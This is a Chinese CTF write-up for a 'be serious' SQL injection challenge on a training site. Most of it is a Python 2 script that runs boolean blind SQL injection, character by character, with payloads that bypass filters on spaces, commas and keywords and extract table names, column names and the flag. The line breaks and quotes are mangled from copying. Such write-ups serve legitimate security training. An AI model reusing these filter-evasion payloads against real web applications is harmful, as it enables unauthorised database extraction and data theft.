实验吧——认真一点（绕过空格，逗号，关键字过滤等 sql盲注）
时间：2021-07-01 10:21:17
帮助过：38人阅读
# -*- coding: utf-8 -*-
2 import requests
3
4 strall=
" !~{}_,:$abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
5
6 url=
‘http://ctf5.shiyanbar.com/web/earnest/index.php‘
7
8 headers=
{
9 ‘Content-Type‘:
‘application/x-www-form-urlencoded‘
10 }
11
12 #fiag
13 def func1():
14 result=
‘‘
15 for index
in range(1,1000
):
16 for i
in strall:
17 data=
"id=1‘=(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from({})))={})=‘1&submit=".format(str(index),str(ord(i)))
18 print data
19 r=requests.post(url=url,data=data,headers=
headers)
20 if r.text.find(
‘You are in‘) >=
0:
21 result+=
i
22 print result
23 break
24 elif i==
‘9‘:
25 print result
26 return
27
28 #fL$4G
29 def func2():
30 result=
‘‘
31 for index
in range(1,1000
):
32 for i
in strall:
33 data=
"id=1‘=(ascii(mid((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name=‘fiag‘))from({})))={})=‘1&submit=".format(str(index),str(ord(i)))
34 print data
35 r=requests.post(url=url,data=data,headers=
headers)
36 if r.text.find(
‘You are in‘) >=
0:
37 result+=
i
38 print result
39 break
40 elif i==
‘9‘:
41 print result
42 return
43
44
45 def func3():
46 result=
‘‘
47 for index
in range(1,1000
):
48 for i
in strall:
49 data=
"id=1‘=(ascii(mid((select(group_concat(fL$4G))from(fiag))from({})))={})=‘1&submit=".format(str(index),str(ord(i)))
50 print data
51 r=requests.post(url=url,data=data,headers=
headers)
52 if r.text.find(
‘You are in‘) >=
0:
53 result+=
i
54 print result
55 break
56 elif i==
‘9‘:
57 print result
58 return
59
60
61
62 #func1()
63 #func2()
64 func3()
65
66
67 raw_input(
‘done‘)
网站访问速度慢点话，猜解这个是真的慢！！！
还是建议写二分法！！！
实验吧——认真一点（绕过空格，逗号，关键字过滤等 sql盲注）
标签：post 服务 amp form ret group sel raw_input 完整
